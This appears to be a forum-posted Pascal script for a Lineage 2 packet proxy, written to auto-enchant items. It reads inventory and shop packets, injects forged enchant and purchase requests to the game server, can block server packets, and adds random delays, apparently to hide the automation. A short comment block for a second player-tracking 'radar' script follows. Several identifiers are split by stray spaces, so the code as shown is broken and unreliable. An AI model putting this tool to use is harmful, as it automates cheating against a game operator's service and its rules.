Scrolls.Add('951=Scroll: Enchant Weapon C');
Scrolls.Add('947=Scroll: Enchant Weapon B');
Scrolls.Add('729=Scroll: Enchant Weapon A');
Scrolls.Add('959=Scroll: Enchant Weapon S');
Scrolls.Add('6576=Blessed Scroll: Enchant Armor D');
Scrolls.Add('6574=Blessed Scroll: Enchant Armor C');
Scrolls.Add('6572=Blessed Scroll: Enchant Armor B');
Scrolls.Add('6570=Blessed Scroll: Enchant Armor A');
Scrolls.Add('6578=Blessed Scroll: Enchant Armor S');
Scrolls.Add('6575=Blessed Scroll: Enchant Weapon D');
Scrolls.Add('6573=Blessed Scroll: Enchant Weapon C');
Scrolls.Add('6571=Blessed Scroll: Enchant Weapon B');
Scrolls.Add('6569=Blessed Scroll: Enchant Weapon A');
Scrolls.Add('6577=Blessed Scroll: Enchant Weapon S');
Scrolls.Add('958=Crystal Scroll: Enchant Armor D');
Scrolls.Add('954=Crystal Scroll: Enchant Armor C');
Scrolls.Add('950=Crystal Scroll: Enchant Armor B');
Scrolls.Add('732=Crystal Scroll: Enchant Armor A');
Scrolls.Add('962=Crystal Scroll: Enchant Armor S');
Scrolls.Add('957=Crystal Scroll: Enchant Weapon D');
Scrolls.Add('953=Crystal Scroll: Enchant Weapon C');
Scrolls.Add('949=Crystal Scroll: Enchant Weapon B');
Scrolls.Add('731=Crystal Scroll: Enchant Weapon A');
Scrolls.Add('961=Crystal Scroll: Enchant Weapon S');
end;

Procedure SetLineage2Version(ver:string);
begin
case ver of
'final/epilogue':
begin
invmask:='hdddqhhhdh';
invindex[1]:=1;
invindex[2]:=2;
invindex[3]:=4;
invindex[4]:=9;
invindex[5]:=8;
end;
'freya':
begin
invmask:='dddqhhhdh';
invindex[1]:=0;
invindex[2]:=1;
invindex[3]:=3;
invindex[4]:=8;
invindex[5]:=7;
end;
end;
end;

Procedure CreateItemBase; //создание базы предметов
var i,j,count:integer;
begin
DebugSay('Пришел пакет инвентаря');
Inventory.Clear;
count:=round((length(pck)-5)/ReadH(4));
for j:=1 to 4 do for i:=1 to Max do ItemBase[j,i]:=0;
for i:=0 to ReadH(4)-1 do
begin
readmask(invmask,6+i*count,values);
ItemBase[1,i+1]:=values[invindex[1]];
ItemBase[2,i+1]:=values[invindex[2]];
ItemBase[3,i+1]:=values[invindex[3]];
ItemBase[4,i+1]:=values[invindex[4]];
if values[invindex[5]]>0 then Inventory.Add(Format('%d=+%d*%s',[ItemBase[1,i+1],ItemBase[4,i+1],ItemsName.Values[IntToStr(ItemBase[2,i+1])]]));
end;
end;

Procedure UpdateItemBase;
var i,j,obj,count:integer;
begin
DebugSay('Пришел пакет обновления инвентаря');
count:=round((length(pck)-3)/ReadH(2));
for i:=0 to ReadH(2)-1 do
begin
readmask('h'+invmask,4+i*count,values);
case values[0] of
1: obj:=0;
2: obj:=values[invindex[1]+1];
3: begin
for i:=1 to Max do
if ItemBase[1,i]=values[invindex[1]+1] then
begin
for j:=1 to 4 do ItemBase[j,i]:=0;
if values[invindex[5]+1]>0 then Inventory.Delete(Inventory.IndexOfName(inttostr(va lues[invindex[1]+1])));
break;
end;
continue;
end;
end;
for i:=1 to Max do
if ItemBase[1,i]=obj then
begin
ItemBase[1,i]:=values[invindex[1]+1];
ItemBase[2,i]:=values[invindex[2]+1];
ItemBase[3,i]:=values[invindex[3]+1];
ItemBase[4,i]:=values[invindex[4]+1];
if values[invindex[5]+1]>0 then if obj=0 then Inventory.Add(Format('%d=+%d*%s',[ItemBase[1,i],ItemBase[4,i],ItemsName.Values[IntToStr(ItemBase[2,i])]])) else Inventory[Inventory.IndexOfName(inttostr(ItemBase[1,i]))]:=Format('%d=+%d*%s',[ItemBase[1,i],ItemBase[4,i],ItemsName.Values[IntToStr(ItemBase[2,i])]]);
break;
end;
end;
end;

function GetItem(ID, FieldIn, FieldOut : integer) : integer;
var
i : integer;
begin
for i:=1 to max do
if ItemBase[FieldIn,i]=ID then begin
result:=ItemBase[FieldOut,i];
exit;
end;
result:=-1;
end;

Procedure MultiSellListCreate;
var count,i,ListID,ScrollsIndex:integer;
begin
ListID:=ReadD(2);
count:=0;
if ScrollMSListEntry[1,ScrollMSIndex]=ListID then exit;
for i:=1 to ReadD(18) do
begin
readmask('dchddhhhhhhhhhhdd',22+count,values);
count:=count+35+values[13]*44+values[14]*40;
if values[13]>1 then continue;
if (colid<>0) and (colid=values[15]) then
begin
colMSListID:=ListID;
colMSEntryID:=values[0];
colMSBypass:=TempMultisellBypass;
continue;
end;
if (values[16]>0) and (MultisellList.IndexOfName(inttostr(values[15]))=-1) then
begin
MultisellList.Add(Format('%d=%d,%d,%s',[values[15],ListID,values[0],TempMultisellBypass]));
continue;
end;
ScrollsIndex:=Scrolls.IndexOfName(inttostr(values[15]));
if ScrollsIndex<>-1 then
begin
ScrollMSListEntry[1,ScrollsIndex]:=ListID;
ScrollMSListEntry[2,ScrollsIndex]:=values[0];
ScrollMSBypass[ScrollsIndex]:=TempMultisellBypass;
end;

end;

end;

Procedure ShowMenu(index:integer);
var HTML,tempstr:string;
i:integer;
begin
case index of
0: begin
HTML:='<html><head><title>Автозаточка Fer123 - Заточка</title></head><body>';
HTML:=HTML+'<center><table cellspacing=0 cellpadding=0><tr>';
HTML:=HTML+'<td><button value="Заточка" back="L2UI_CT1.Tab_DF_Tab_Selected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Selected"></td>';
HTML:=HTML+'<td><button value="Покупка" action="bypass script showmenu 1" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'<td><button value="Настройки" action="bypass script showmenu 2" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=69 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'<td><button value="Помощь" action="bypass script showmenu 3" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'</tr></table></center><br>';
if started then tempstr:='back="L2UI.SquareGray" fore="L2UI.SquareGray"' else tempstr:='back="L2UI.SquareBlack" fore="L2UI.SquareGray"';
HTML:=HTML+'<br1><table><tr><td width=80><button value="Старт" action="bypass script start" width="130" height="18" '+tempstr+'></td><td width=6></td>';
if started then tempstr:='back="L2UI.SquareBlack" fore="L2UI.SquareGray"' else tempstr:='back="L2UI.SquareGray" fore="L2UI.SquareGray"';
HTML:=HTML+'<td width=80><button value="Стоп" action="bypass script stop" width="130" height="18" '+tempstr+'></td></tr></table><br>';
HTML:=HTML+'<table><tr><td width=60>Предмет:</td><td width=215><a action="bypass script showmenu 4">'+TempItemName+'</a></td></tr>';
HTML:=HTML+'<tr><td width=60>Заточка:</td><td width=215><a action="bypass script showmenu 5">'+TempScrollName+'</a></td></tr></table>';
HTML:=HTML+'<table><tr><td width=105>Уровень заточки:</td><td align=left><edit var=editField width="50" height="10"></td><td width=107></td></tr></table>';
HTML:=HTML+'<table><tr><td><button value="Добавить в очередь" action="bypass script add $editField" width="270" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
HTML:=HTML+'<br><center>Очередь</center>';
HTML:=HTML+'<table bgcolor="696969"><tr><td width=150>Предмет</td><td width=40 align=center>Т</td><td width=40 align=center>Ж</td><td width=40 align=center>Д</td></tr></table>';
for i:=0 to arLength-1 do if arItemOID[i]<>0 then
begin
if i=arPos then tempstr:='BEBEBE' else tempstr:='D3D3D3';
HTML:=HTML+Format('<table bgcolor="%s"><tr><td width=150>%s</td><td width=40 align=center>%d</td><td width=40 align=center>%d</td><td width=40 align=center>%d</td></tr></table>',[tempstr,ItemsName.Values[IntToStr(arItemID[i])],GetItem(arItemOID[i],1,4),arEnchantTo[i],arEnchantMax[i]]);
end;
if arLength>0 then HTML:=HTML+'<br1><table><tr><td><button value="Очистить очередь" action="bypass script clear" width="270" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
HTML:=HTML+'</body></html>';
end;
1: begin
HTML:='<html><head><title>Автозаточка Fer123 - Покупка</title></head><body>';
HTML:=HTML+'<center><table border=0 cellspacing=0 cellpadding=0><tr>';
HTML:=HTML+'<td><button value="Заточка" action="bypass script showmenu 0" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'<td><button value="Покупка" back="L2UI_CT1.Tab_DF_Tab_Selected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Selected"></td>';
HTML:=HTML+'<td><button value="Настройки" action="bypass script showmenu 2" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=69 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'<td><button value="Помощь" action="bypass script showmenu 3" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'</tr></table></center><br>';
HTML:=HTML+'<table width=270><tr><td>';
if scrollbuying=true then HTML:=HTML+'<button value="" action="bypass script scrollbuying off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
HTML:=HTML+'<button value="" action="bypass script scrollbuying on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
HTML:=HTML+'</td><td width=258>Покупка заточек (MultiSell)</td></tr></table>';
HTML:=HTML+'<table><tr><td width=15></td><td width=180>Кол-во, покупаемых заточек:</td>';
HTML:=HTML+'<td><edit var=Amount width="25" height="10"></td><td width=2></td><td><button value="ОК" action="bypass script maxscrolls $Amount" width="25" height="16" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
HTML:=HTML+'<br1><table width=270><tr><td>';
if itembuying=true then HTML:=HTML+'<button value="" action="bypass script itembuying off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
HTML:=HTML+'<button value="" action="bypass script itembuying on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
HTML:=HTML+'</td><td width=258>Покупка предметов (MultiSell)</td></tr></table>';
HTML:=HTML+'<br1><table width=270><tr><td>';
if adenabuying=true then HTML:=HTML+'<button value="" action="bypass script adenabuying off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
HTML:=HTML+'<button value="" action="bypass script adenabuying on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
HTML:=HTML+'</td><td width=258>Обмен адены</td></tr></table>';
HTML:=HTML+'<table><tr><td width=18></td><td width=252>Введите ID предмета, который обменивается на адену:</td></tr></table>';
HTML:=HTML+'<table><tr><td width=16></td><td><edit var=ColID width="50" height="10"></td><td width=10></td><td><button value="ОК" action="bypass script col $ColID" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
HTML:=HTML+'<table><tr><td width=16></td><td width=252>Обменивать при условии: Адена меньше </td></tr></table>';
HTML:=HTML+'<table><tr><td width=16></td><td><edit var=ColCond width="50" height="10"></td><td width=10></td><td><button value="ОК" action="bypass script colcondition $ColCond" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
HTML:=HTML+'<br>В настоящее время скрипт запомнил MultiSell IDs для: ';
for i:=0 to 29 do if ScrollMSListEntry[2,i]<>0 then HTML:=HTML+Scrolls.Values[Scrolls.Names[i]]+', ';
for i:=0 to arLength-1 do if MultisellList.IndexOfName(inttostr(arItemID[i]))<>-1 then HTML:=HTML+ItemsName.Values[inttostr(arItemID[i])]+', ';
if colMSEntryID<>0 then HTML:=HTML+ItemsName.Values[inttostr(colid)]+', ';
if HTML[length(HTML)-1]=',' then HTML[length(HTML)-1]:='.';
HTML:=HTML+'</body></html>';
end;
2: begin
HTML:='<html><head><title>Автозаточка Fer123 - Настройки</title></head><body>';
HTML:=HTML+'<center><table border=0 cellspacing=0 cellpadding=0><tr>';
HTML:=HTML+'<td><button value="Заточка" action="bypass script showmenu 0" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'<td><button value="Покупка" action="bypass script showmenu 1" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'<td><button value="Настройки" back="L2UI_CT1.Tab_DF_Tab_Selected" width=69 height=22 fore="L2UI_CT1.Tab_DF_Tab_Selected"></td>';
HTML:=HTML+'<td><button value="Помощь" action="bypass script showmenu 3" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'</tr></table></center><br>';
HTML:=HTML+'<table width=270><tr><td>';
if debugmsg=true then HTML:=HTML+'<button value="" action="bypass script debugmsg off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
HTML:=HTML+'<button value="" action="bypass script debugmsg on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
HTML:=HTML+'</td><td width=258>Вывод дебаг сообщений (Party Chat)</td></tr></table><br>';
HTML:=HTML+'<center>Тайминги</center><br1>';
HTML:=HTML+'<table width=270><tr><td>Интервалы таймера заточки (мсек): </td></tr></table>';
HTML:=HTML+'<table><tr><td>Шаг 1:</td><td><edit var=timer11 width="50" height="10"></td><td><button value="ОК" action="bypass script timer11 $timer11" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr>';
HTML:=HTML+'<tr><td>Шаг 2:</td><td><edit var=timer12 width="50" height="10"></td><td><button value="ОК" action="bypass script timer12 $timer12" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr>';
HTML:=HTML+'<tr><td>Шаг 3:</td><td><edit var=timer13 width="50" height="10"></td><td><button value="ОК" action="bypass script timer13 $timer13" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
HTML:=HTML+'<table><tr><td width=170>Интервал таймера покупки: </td><td><edit var=timer2 width="50" height="10"></td><td><button value="ОК" action="bypass script timer2 $timer2" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr>';
HTML:=HTML+'<tr><td width=160>Случайное значение: </td><td><edit var=random width="50" height="10"></td><td><button value="ОК" action="bypass script setrandom $random" width="25" height="18" back="L2UI.SquareBlack" fore="L2UI.SquareGray"></td></tr></table>';
HTML:=HTML+'<br><center>Остальное</center><br1>';
HTML:=HTML+'<table width=270><tr><td>';
if pass2=true then HTML:=HTML+'<button value="" action="bypass script pass2 off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
HTML:=HTML+'<button value="" action="bypass script pass2 on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
HTML:=HTML+'</td><td width=258>Пропускать Шаг 2 (RequestTryToPutEnchantTargetItem)</td></tr>';
HTML:=HTML+'<tr><td>';
if blockpck=true then HTML:=HTML+'<button value="" action="bypass script blockpck off" width=12 height=12 fore="L2UI.CheckBox_checked" back="L2UI.CheckBox_checked">' else
HTML:=HTML+'<button value="" action="bypass script blockpck on" width=12 height=12 fore="L2UI.CheckBox" back="L2UI.CheckBox">';
HTML:=HTML+'</td><td width=258>Блокировать пакеты ChooseInventory и MultiSellList</td></tr></table>';
HTML:=HTML+'</body></html>';
end;
3: begin
HTML:='<html><head><title>Автозаточка Fer123 - Помощь</title></head><body>';
HTML:=HTML+'<center><table border=0 cellspacing=0 cellpadding=0><tr>';
HTML:=HTML+'<td><button value="Заточка" action="bypass script showmenu 0" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'<td><button value="Покупка" action="bypass script showmenu 1" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'<td><button value="Настройки" action="bypass script showmenu 2" back="L2UI_CT1.Tab_DF_Tab_Unselected" width=69 height=22 fore="L2UI_CT1.Tab_DF_Tab_Unselected"></td>';
HTML:=HTML+'<td><button value="Помощь" back="L2UI_CT1.Tab_DF_Tab_Selected" width=67 height=22 fore="L2UI_CT1.Tab_DF_Tab_Selected"></td>';
HTML:=HTML+'</tr></table></center><br>';
HTML:=HTML+'В вкладке "Заточка" выбирите предмет и заточку, затем введите желаемый уровень заточки и нажмите кнопку "Добавить в очередь".<br1>Если все введено верно то, имя предмета появится в таблице ниже.<br1>';
HTML:=HTML+'Сокращения в таблице: Т - Текущий, Ж - Желаемый, Д - Достигнутый.<br1>Текущий предмет в таблице выделен серым цветом, остальные светло-серым.<br1>';
HTML:=HTML+'При добавлении первого предмета появляется кнопка "Очистить очередь", которая очищает таблицу.<br1>Кнопки "Старт" и "Стоп" запускают и останавливают процесс заточки.<br>';
HTML:=HTML+'В вкладке "Покупка" настраивается покупка заточек, предметов (при поломке), и обмен адены<br>';
HTML:=HTML+'В вкладке "Настройка" настраиваются тайминги и прочее';
HTML:=HTML+'</body></html>';
end;
4: begin
HTML:='<html><head><title>Автозаточка Fer123 - Выбор предмета</title></head><body>';
for i:=0 to Inventory.Count-1 do HTML:=HTML+'<a action="bypass script chooseitem '+Inventory.Names[i]+'">'+Inventory.Values[Inventory.Names[i]]+'</a><br1>';
HTML:=HTML+'</body></html>';
end;
5: begin
HTML:='<html><head><title>Автозаточка Fer123 - Выбор заточки</title></head><body>';
for i:=0 to Scrolls.Count-1 do HTML:=HTML+'<a action="bypass script choosescroll '+Scrolls.Names[i]+'">'+Scrolls.Values[Scrolls.Names[i]]+'</a><br1>';
HTML:=HTML+'</body></html>';
end;
end;
WriteMask('cdsd',[$19,5,HTML,0]);
SendToClient;
end;

Procedure ExecuteCMD(CMD:string);
var argument:string;
begin
if Copy(CMD,1,6)='script' then
begin
Delete(CMD,1,7);
if pos(' ',CMD)<>0 then begin
argument:=CMD;
CMD:=Copy(CMD,1,pos(' ',CMD)-1);
Delete(argument,1,pos(' ',argument));
end else argument:='';
case CMD of
'start': if not started then
begin
Step:=1;
error:=false;
itries:=0;
stries:=0;
if arLength>0 then begin
started:=true;
timer.enabled:=true;
end;
if scrollbuying then timer2.enabled:=true;
ShowMenu(0);
end;
'stop': if started then
begin
Step:=1;
started:=false;
timer.enabled:=false;
timer2.enabled:=false;
ShowMenu(0);
end;
'add':
begin
if (argument<>'') and (TempItemOID<>0) and (TempScrollID<>0) then begin
inc(arLength);
SetLength(arItemOID,arLength);
SetLength(arItemID,arLength);
SetLength(arScrollID,arLength);
SetLength(arEnchantTo,arLength);
SetLength(arEnchantMax,arLength);
arItemOID[arLength-1]:=TempItemOID;
arItemID[arLength-1]:=GetItem(TempItemOID,1,2);
arScrollID[arLength-1]:=TempScrollID;
arEnchantTo[arLength-1]:=strtoint(argument);
if arLength=1 then begin
if AltOption=true then AltSearch else CurEnchLvl:=GetItem(arItemOID[0],1,4);
ScrollMSIndex:=Scrolls.IndexOfName(inttostr(arScro llID[arPos]));
end;
TempItemName:='Нажми для выбора предмета';
TempScrollName:='Нажми для выбора заточки';
TempItemOID:=0;
TempScrollID:=0;
ShowMenu(0);
end;
end;
'col':
begin
if argument<>'' then colid:=strtoint(argument);
ShowMenu(1);
end;
'colcondition':
begin
if argument<>'' then ColExchangeCondition:=strtoint(argument);
ShowMenu(1);
end;
'chooseitem':
begin
if GetItem(strtoint(argument),1,3)<>-1 then begin
TempItemName:=Inventory.Values[argument];
TempItemOID:=strtoint(argument);
end;
ShowMenu(0);
end;
'clear':
begin
arLength:=0;
arPos:=0;
SetLength(arItemOID,1);
SetLength(arItemID,1);
SetLength(arScrollID,1);
SetLength(arEnchantTo,1);
SetLength(arEnchantMax,1);
arItemOID[0]:=0;
arItemID[0]:=0;
arScrollID[0]:=0;
arEnchantTo[0]:=0;
arEnchantMax[0]:=0;
if started then begin
Step:=1;
started:=false;
timer.enabled:=false;
timer2.enabled:=false;
end;
ShowMenu(0);
end;
'choosescroll':
begin
TempScrollName:=Scrolls.Values[argument];
TempScrollID:=strtoint(argument);
ShowMenu(0);
end;
'maxscrolls':
begin
if argument<>'' then ScrollAmount:=strtoint(argument);
ShowMenu(1);
end;
'timer11':
begin
if argument<>'' then timerint11:=strtoint(argument);
ShowMenu(2);
end;
'timer12':
begin
if argument<>'' then timerint12:=strtoint(argument);
ShowMenu(2);
end;
'timer13':
begin
if argument<>'' then timerint13:=strtoint(argument);
ShowMenu(2);
end;
'timer2':
begin
if argument<>'' then timerint2:=strtoint(argument);
ShowMenu(2);
end;
'setrandom':
begin
if argument<>'' then timerrandom:=strtoint(argument);
ShowMenu(2);
end;
'showmenu': ShowMenu(strtoint(argument));
'scrollbuying':
begin
if argument='on' then begin
scrollbuying:=true;
if started then timer2.enabled:=true;
end;
if argument='off' then scrollbuying:=false;
ShowMenu(1);
end;
'itembuying':
begin
if argument='on' then itembuying:=true;
if argument='off' then itembuying:=false;
ShowMenu(1);
end;
'adenabuying':
begin
if argument='on' then adenabuying:=true;
if argument='off' then adenabuying:=false;
ShowMenu(1);
end;
'debugmsg':
begin
if argument='on' then debugmsg:=true;
if argument='off' then debugmsg:=false;
ShowMenu(2);
end;
'pass2':
begin
if argument='on' then pass2:=true;
if argument='off' then pass2:=false;
ShowMenu(2);
end;
'blockpck':
begin
if argument='on' then blockpck:=true;
if argument='off' then blockpck:=false;
ShowMenu(2);
end;
end;
pck:='';
end else TempMultisellBypass:=CMD;
end;

Procedure DebugSay(text:string);
begin
if debugmsg then begin
buf:=#$4A;
Writemask('ddss',[0,3,'Script',text]);
SendToClient;
end;
end;

procedure UseItem(ObjectID: integer);
begin
buf:=#$19;
WriteD(ObjectID);
WriteD(0);
SendToServer;
end;

Procedure RequestPutEnchantTargetItem(ObjectID: integer);
begin
buf:=#$D0;
WriteH(76);
WriteD(ObjectID);
SendToServer;
end;

procedure RequestEnchantItem(ObjectID: integer);
begin
buf:=#$5F;
WriteD(ObjectID);
WriteD(0);
SendToServer;
end;

Procedure RequestExCancelEnchantItem;
begin
buf:=HStr('D0 4E 00');
SendToServer;
end;

Procedure MultisellChoose(ListID,EntryID,Amount:integer);
begin
buf:=#$B0;
WriteMask('ddqhddhhhhhhhh',[ListID,EntryID,Amount,0,0,0,65534,0,0,0,0,0,0,0]);
SendToServer;
end;

function AltGetItem(ID,lvl:integer) : integer;
var
i : integer;
begin
for i:=1 to max do
if (ItemBase[2,i]=ID) and (Itembase[4,i]=lvl) then begin
result:=ItemBase[1,i]; // itemOID
exit;
end;
result:=0;
end;

procedure AltSearch;
begin
CurEnchLvl:=0;
if GetItem(arItemID[arPos],2,1)=-1 then exit;
repeat
arItemOID[arPos]:=AltGetItem(arItemID[arPos],CurEnchLvl);
if arItemOID[arPos]=0 then inc(CurEnchLvl);
until arItemOID[arPos]<>0;
end;

//............................................
//************************************************** ****************************
procedure OnTimer(Sender: TObject);
var ListId,EntryID:integer;
MSstr:string;
begin
case Step of
1: begin
if AltOption=true then AltSearch else CurEnchLvl:=GetItem(arItemOID[arPos],1,4);
if arEnchantMax[arPos]<CurEnchLvl then arEnchantMax[arPos]:=CurEnchLvl;
if (CurEnchLvl>=arEnchantTo[arPos]) or error then begin
if error then DebugSay('Ошибка! Невозможно найти/купить предмет/заточку. Переходим к следующему в очереди...');
error:=false;
repeat
if (arPos+1)>=arLength then
begin
DebugSay('Прервано! Очередь выполнена!');
started:=false;
timer.enabled:=false;
timer2.enabled:=false;
exit;
end;
inc(arPos);
DebugSay('Затачивается предмет №'+inttostr(arPos+1));
if AltOption=true then AltSearch else CurEnchLvl:=GetItem(arItemOID[arPos],1,4);
until CurEnchLvl<arEnchantTo[arPos];
ScrollMSIndex:=Scrolls.IndexOfName(inttostr(arScro llID[arPos]));
stries:=0;
itries:=0;
end;
if adenabuying and (GetItem(57,2,3)<ColExchangeCondition) then
if GetItem(colid,2,1)=-1 then
begin
timer2.enabled:=false;
if GetItem(arScrollID[arPos],2,1)=-1 then begin
DebugSay('Прервано! Закончились предметы для обмена адены.');
started:=false;
timer.enabled:=false;
timer2.enabled:=false;
exit;
end;
end else
begin
DebugSay('Обмениваем адену...');
RequestBypassToServer(colMSBypass);
MultisellChoose(colMSListID,colMSEntryID,1);
timer.interval:=2000;
exit;
end;
if GetItem(arItemOID[arPos],1,3)=-1 then
begin
if AltOption then DebugSay('Сломаны все предметы.') else DebugSay('Предмет OID='+inttostr(arItemOID[arPos])+' сломан, ищем новый предмет...');
if GetItem(arItemID[arPos],2,1)<>-1 then
begin
arItemOID[arPos]:=GetItem(arItemID[arPos],2,1);
CurEnchLvl:=GetItem(arItemOID[arPos],1,4);
if not AltOption then DebugSay('Новый предмет найден. OID='+inttostr(arItemOID[arPos]));
Step:=3;
end else if itembuying then Step:=2 else error:=true;
end else Step:=3;
timer.interval:=10;
end;
2: begin
if GetItem(arItemID[arPos],2,1)=-1 then begin
if (MultisellList.IndexOfName(inttostr(arItemID[arPos]))=-1) or (itries=5) then begin
error:=true;
Step:=1;
exit;
end;
DebugSay('Пытаемся купить новый предмет.');
timer.interval:=2000;
MSstr:=MultisellList.Values[inttostr(arItemID[arPos])];
ListID:=strtoint(Copy(MSstr,1,pos(',',MSstr)-1));
Delete(MSstr,1,pos(',',MSstr));
EntryID:=strtoint(Copy(MSstr,1,pos(',',MSstr)-1));
Delete(MSstr,1,pos(',',MSstr));
RequestBypassToServer(MSstr);
MultisellChoose(ListID,EntryID,1);
inc(itries);
end else
begin
itries:=0;
arItemOID[arPos]:=GetItem(arItemID[arPos],2,1);
CurEnchLvl:=GetItem(arItemOID[arPos],1,4);
DebugSay('Новый предмет куплен. OID='+inttostr(arItemOID[arPos]));
Step:=3;
timer.interval:=10;
end;
end;
3: begin
ScrollOID:=GetItem(arScrollID[arPos],2,1);
if ScrollOID<>-1 then
begin
timer.interval:=timerint11+round(random()*timerran dom);
if pass2 then Step:=5 else Step:=4;
timer.enabled:=false;
UseItem(ScrollOID);
DebugSay('Активирована заточка '+Scrolls.Values[inttostr(arScrollID[arPos])]);
end else
begin
if (scrollbuying=false) or (ScrollMSListEntry[2,ScrollMSIndex]=0) or (stries=5) then error:=true;
Step:=1;
end;
end;
4: begin
timer.interval:=timerint12+round(random()*timerran dom);
RequestPutEnchantTargetItem(arItemOID[arPos]);
DebugSay('Ложим предмет OID='+inttostr(arItemOID[arPos])+' в окно заточки');
Step:=5;
timer.enabled:=false;
end;
5: begin
timer.interval:=timerint13+round(random()*timerran dom);
RequestEnchantItem(arItemOID[arPos]);
Step:=1;
DebugSay('Посылаем запрос на заточку предмета. OID='+inttostr(arItemOID[arPos]));
timer.enabled:=false;
end;
end;
end;

procedure RequestBypassToServer(cmd : string);
begin
buf:=#$23;
WriteS(cmd);
SendToServer;
end;
procedure OnTimer2(Sender: TObject);
begin
if (scrollbuying=true) and (GetItem(arScrollID[arPos],2,3)<25) and (ScrollMSListEntry[2,ScrollMSIndex]<>0) then
begin
DebugSay('Пытаемся купить заточки.');
RequestBypassToServer(ScrollMSBypass[ScrollMSIndex]);
MultisellChoose(ScrollMSListEntry[1,ScrollMSIndex],ScrollMSListEntry[2,ScrollMSIndex],ScrollAmount);
end;
if GetItem(arScrollID[arPos],2,3)<=0 then inc(stries) else stries:=0;
timer2.interval:=timerint2+round(random()*timerran dom);
end;

begin
if FromServer then
case pck[1] of
#$11 : CreateItemBase;
#$21 : UpdateItemBase;
#$D0 : begin
MultiSellListCreate;
if started and blockpck then pck:='';
end;
#$7C : if started then
begin
if Step=4 then timer.enabled:=true;
if pass2 and (Step=5) then timer.enabled:=true;
if blockpck then pck:='';
end;
#$FE : if started and (ReadH(2)=129) and (Step=5) then if ReadD(4)=0 then
begin
RequestExCancelEnchantItem;
DebugSay('Не совпадает сила действий свитка');
Step:=1;
timer.enabled:=true;
end else timer.enabled:=true;
#$87 : if started then
begin
if Step=1 then timer.enabled:=true;
case ReadD(2) of
0:DebugSay('Успешно заточено до +'+inttostr(CurEnchLvl+1));
1:DebugSay('Неудачная заточка. Предмет разбит на кристаллы');
2:DebugSay('Заточка отменена');
3:DebugSay('Неудачная заточка. Уровень заточки = 0');
4:DebugSay('Неудачная заточка');
5:DebugSay('Неудачная безопасная заточка. Уровень заточки = '+inttostr(CurEnchLvl+1));
end;
end;
end;
if FromClient and (pck[1]=#$56) and (ReadD(2)=12) then
begin
ShowMenu(0);
pck:='';
end;
if FromClient and (pck[1]=#$23) then ExecuteCMD(ReadS(2));
end.

lSiml
24.04.2011, 23:37
Final - мини радар



//спасибо за идею mira
// by Breadfan, Gr_Final chronics
// Работа с чаринфо - Fer123
//принцип работы с масками - mira
// пауза - соц. advance - требуется если при включенном скрипте надо пообщатся с нпс -
// иначе при появлении\удалении рядом игрока текущее диалоговое окно будет сбито обновлением списка целей.
// при старте скрипт - по умолчанию запущен.
//
// после запуска - 1) пройти персом - считать координаты - на всякий случай - хотя по идее при старте
// перс сам должен сесть-встать для получения координат 2) сделать релог - при необходимости
// считать окружение и немедленно его показать, если после запуска кудато
// телепортируешся - то релог не нужен.
//
// список выводитса по команде в чат //list - с двумя слешами! можно закрыть,
// при появлении\удалении очередного перса,
// или нажатии\отжатии паузы, или повторно //list в чат - появитса вновь.
//
// автоматически очищает списки при телепортах, удаляет телепортировавшихся игроков, просто умерших - скрывает,
// после их воскрешения - отобразит повторно.
//
// во время паузы - считывание окружения продолжается, приостановлен лишь вывод записей, так что после возобновления
// работы - будет выведен обновленный список
//
